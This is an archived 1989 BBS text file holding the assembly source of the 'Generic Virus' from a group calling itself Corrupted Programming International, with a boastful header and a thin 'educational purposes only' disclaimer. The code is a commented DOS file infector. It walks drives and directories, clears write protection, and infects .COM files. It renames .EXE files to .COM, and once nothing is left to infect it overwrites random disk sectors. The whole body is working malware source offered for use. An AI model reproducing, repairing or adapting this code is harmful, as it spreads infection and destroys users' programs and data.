home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / cpivirus.arj / CPI2-5.DOC < prev    next >
Text File  |  1989-07-26  |  12KB  |  261 lines

  1. ;[2.5]
  2. ;=============================================================================
  3. ;
  4. ;                                    C*P*I
  5. ;
  6. ;                     CORRUPTED PROGRAMMING INTERNATIONAL
  7. ;                     -----------------------------------
  8. ;                               p r e s e n t s
  9. ;
  10. ;                                    T H E
  11. ;                              _                 _
  12. ;                             (g) GENERIC VIRUS (g)
  13. ;                              ^                 ^
  14. ;
  15. ;
  16. ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
  17. ;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
  18. ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR "PROGRAM TO BIG TO
  19. ;    FIT IN MEMORY" THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
  20. ;
  21. ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
  22. ;                     THE DISK. HAVE PHUN WITH THIS ONE.
  23. ;
  24. ;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
  25. ;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
  26. ;
  27. ;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
  28. ;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
  29. ;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
  30. ;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
  31. ;
  32. ;                                                        DOCTOR DISSECTOR
  33. ;                                                        CPI INNER CIRCLE
  34. ;
  35. ;=============================================================================
  36.  
  37. MAIN:
  38.       NOP                       ;| Marker bytes that identify this program
  39.       NOP                       ;| as infected/a virus
  40.       NOP                       ;|
  41.  
  42.       MOV AX,00                 ;| Initialize the pointers
  43.       MOV ES:[POINTER],AX       ;|
  44.       MOV ES:[COUNTER],AX       ;|
  45.       MOV ES:[DISKS B],AL       ;|
  46.  
  47.       MOV AH,19                 ;| Get the selected drive (dir?)
  48.       INT 21                    ;|
  49.  
  50.       MOV CS:DRIVE,AL           ;| Get current path (save drive)
  51.       MOV AH,47                 ;| (dir?)
  52.       MOV DH,0                  ;|
  53.       ADD AL,1                  ;|
  54.       MOV DL,AL                 ;| (in actual drive)
  55.       LEA SI,CS:OLD_PATH        ;|
  56.       INT 21                    ;|
  57.  
  58.       MOV AH,0E                 ;| Find # of drives 
  59.       MOV DL,0                  ;|
  60.       INT 21                    ;|
  61.       CMP AL,01                 ;| (Check if only one drive)
  62.       JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
  63.       MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)
  64.  
  65.       HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
  66.       LEA BX,SEARCH_ORDER       ;|
  67.       ADD BX,AX                 ;|
  68.       ADD BX,0001               ;|
  69.       MOV CS:POINTER,BX         ;|
  70.       CLC                       ;|
  71.  
  72. CHANGE_DISK:                    ;| Carry is set if no more .COM files are
  73.       JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
  74.       MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
  75.       LEA DX,CS:MASKE_EXE       ;| but will cause the error message "Program  
  76.       INT 21                    ;| to large to fit in memory" when starting
  77.       CMP AL,0FF                ;| larger infected programs
  78.       JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)
  79.  
  80.       MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
  81.       INT 21                    ;| then random sectors on the disk will be
  82.       MOV BX,CS:POINTER         ;| overwritten depending on the system time
  83.       MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
  84.       MOV BX,DX                 ;| complete "infection" of a storage medium.
  85.       MOV CX,2                  ;| The virus can find nothing more to infect
  86.       MOV DH,0                  ;| starts its destruction.
  87.       INT 26                    ;| (write crap on disk)
  88.  
  89. NO_NAME_CHANGE:                 ;| Check if the end of the search order table
  90.       MOV BX,CS:POINTER         ;| has been reached. If so, end.
  91.       DEC BX                    ;|
  92.       MOV CS:POINTER,BX         ;|
  93.       MOV DL,CS:[BX]            ;|
  94.       CMP DL,0FF                ;|
  95.       JNZ HUPS2                 ;|
  96.       JMP HOPS                  ;|
  97.       
  98. HUPS2:                          ;| Get a new drive from the search order table
  99.       MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
  100.       INT 21                    ;| (change drive)
  101.       MOV AH,3B                 ;| (change path)
  102.       LEA DX,PATH               ;|
  103.       INT 21                    ;|
  104.       JMP FIND_FIRST_FILE       ;|
  105.  
  106. FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
  107.       MOV AH,17                 ;| first subdir. First, (change .exe to .com)
  108.       LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
  109.       INT 21                    ;| old directory.
  110.       MOV AH,3B                 ;| (use root directory)
  111.       LEA DX,PATH               ;|
  112.       INT 21                    ;|
  113.       MOV AH,04E                ;| (search for first subdirectory)
  114.       MOV CX,00010001B          ;| (dir mask)
  115.       LEA DX,MASKE_DIR          ;|
  116.       INT 21                    ;|
  117.       JC CHANGE_DISK            ;|
  118.       MOV BX,CS:COUNTER         ;|
  119.       INC BX                    ;|
  120.       DEC BX                    ;|
  121.       JZ  USE_NEXT_SUBDIR       ;|
  122.  
  123. FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
  124.       MOV AH,4FH                ;| are found, the (search for next subdir)
  125.       INT 21                    ;| drive will be changed.
  126.       JC CHANGE_DISK            ;|
  127.       DEC BX                    ;|
  128.       JNZ FIND_NEXT_SUBDIR      ;|
  129.  
  130. USE_NEXT_SUBDIR:      
  131.       MOV AH,2FH                ;| Select found directory. (get dta address)
  132.       INT 21                    ;|
  133.       ADD BX,1CH                ;|
  134.       MOV ES:[BX],W"\"          ;| (address of name in dta)
  135.       INC BX                    ;|
  136.       PUSH DS                   ;|
  137.       MOV AX,ES                 ;|
  138.       MOV DS,AX                 ;|
  139.       MOV DX,BX                 ;|
  140.       MOV AH,3B                 ;| (change path)
  141.       INT 21                    ;|
  142.       POP DS                    ;|
  143.       MOV BX,CS:COUNTER         ;|
  144.       INC BX                    ;|
  145.       MOV CS:COUNTER,BX         ;|
  146.  
  147. FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
  148.       MOV AH,04E                ;| If there are none, (Search for first)
  149.       MOV CX,00000001B          ;| search the next directory. (mask)
  150.       LEA DX,MASKE_COM          ;|
  151.       INT 21                    ;|
  152.       JC FIND_FIRST_SUBDIR      ;|
  153.       JMP CHECK_IF_ILL          ;|
  154.  
  155. FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
  156.       MOV AH,4FH                ;| for another. (search for next)
  157.       INT 21                    ;|
  158.       JC FIND_FIRST_SUBDIR      ;|
  159.  
  160. CHECK_IF_ILL:                   ;| Check if already infected by virus.
  161.       MOV AH,3D                 ;| (open channel)
  162.       MOV AL,02                 ;| (read/write)
  163.       MOV DX,9EH                ;| (address of name in dta)
  164.       INT 21                    ;|
  165.       MOV BX,AX                 ;| (save channel)
  166.       MOV AH,3FH                ;| (read file)
  167.       MOV CH,BUFLEN             ;|
  168.       MOV DX,BUFFER             ;| (write in buffer)
  169.       INT 21                    ;|
  170.       MOV AH,3EH                ;| (close file)
  171.       INT 21                    ;|
  172.       MOV BX,CS:[BUFFER]        ;| (look for three NOP's)
  173.       CMP BX,9090               ;| 
  174.       JZ FIND_NEXT_FILE         ;|
  175.  
  176.       MOV AH,43                 ;| This section by-passes (write enable)
  177.       MOV AL,0                  ;| the MS/PC DOS Write Protection.
  178.       MOV DX,9EH                ;| (address of name in dta)
  179.       INT 21                    ;|
  180.       MOV AH,43                 ;|
  181.       MOV AL,01                 ;|
  182.       AND CX,11111110B          ;|
  183.       INT 21                    ;|
  184.  
  185.       MOV AH,3D                 ;| Open file for read/write (open channel)
  186.       MOV AL,02                 ;| access (read/write)
  187.       MOV DX,9EH                ;| (address of name in dta)
  188.       INT 21                    ;|
  189.  
  190.       MOV BX,AX                 ;| Read date entry of program and (channel)
  191.       MOV AH,57                 ;| save for future use. (get date)
  192.       MOV AL,0                  ;|
  193.       INT 21                    ;|
  194.       PUSH CX                   ;| (save date)
  195.       PUSH DX                   ;|
  196.  
  197.       MOV DX,CS:[CONTA W]       ;| The jump located at 0100h (save old jmp)
  198.       MOV CS:[JMPBUF],DX        ;| the program will be saved for future use.
  199.       MOV DX,CS:[BUFFER+1]      ;| (save new jump)
  200.       LEA CX,CONT-100           ;|
  201.       SUB DX,CX                 ;|
  202.       MOV CS:[CONTA],DX         ;|
  203.  
  204.       MOV AH,57                 ;| The virus now copies itself to (write date)
  205.       MOV AL,1                  ;| to the start of the file.
  206.       POP DX                    ;| 
  207.       POP CX                    ;| (restore date)
  208.       INT 21                    ;|
  209.       MOV AH,3EH                ;| (close file)
  210.       INT 21                    ;|
  211.  
  212.       MOV DX,CS:[JMPBUF]        ;| Restore the old jump address. The virus
  213.       MOV CS:[CONTA],DX         ;| at address "CONTA" the jump which was at the
  214.                                 ;| start of the program. This is done to
  215. HOPS:                           ;| preserve the executability of the host
  216.       NOP                       ;| program as much as possible. After saving,
  217.       CALL USE_OLD              ;| it still works with the jump address in the
  218.                                 ;| virus. The jump address in the virus differs
  219.                                 ;| from the jump address in memory
  220.     
  221. CONT  DB  0E9                   ;| Continue with the host program (make jump)
  222. CONTA DW  0                     ;|
  223.       MOV AH,00                 ;|
  224.       INT 21                    ;|
  225.  
  226. USE_OLD:
  227.       MOV AH,0E                 ;| Reactivate the selected (use old drive)
  228.       MOV DL,CS:DRIVE           ;| drive at the start of the program, and
  229.       INT 21                    ;| reactivate the selected path at the start
  230.       MOV AH,3B                 ;| of the program.(use old drive)
  231.       LEA DX,OLD_PATH-1         ;| (get old path and backslash)
  232.       INT 21                    ;| 
  233.       RET                       ;|
  234.  
  235. SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF
  236.  
  237. POINTER      DW   0000          ;| (pointer f. search order)
  238. COUNTER      DW   0000          ;| (counter f. nth. search) 
  239. DISKS        DB   0             ;| (number of disks)
  240. MASKE_COM    DB "*.COM",00      ;| (search for com files)
  241. MASKE_DIR    DB "*",00          ;| (search for dir's)
  242. MASKE_EXE    DB 0FF,0,0,0,0,0,00111111XB
  243.              DB 0,"????????EXE",0,0,0,0
  244.              DB 0,"????????COM",0
  245. MASKE_ALL    DB 0FF,0,0,0,0,0,00111111XB
  246.              DB 0,"???????????",0,0,0,0
  247.              DB 0,"????????COM",0
  248.  
  249. BUFFER EQU 0E00                 ;| (a safe place)
  250.  
  251. BUFLEN EQU 208H                 ;| Length of virus. Modify this accordingly
  252.                                 ;| if you modify this source. Be careful
  253.                                 ;| for this may change!
  254.  
  255. JMPBUF EQU BUFFER+BUFLEN        ;| (a safe place for jmp)
  256.  
  257. PATH  DB "\",0                  ;| (first place)
  258. DRIVE DB 0                      ;| (actual drive)
  259. BACK_SLASH DB "\"
  260. OLD_PATH DB 32 DUP (?)          ;| (old path)
  261.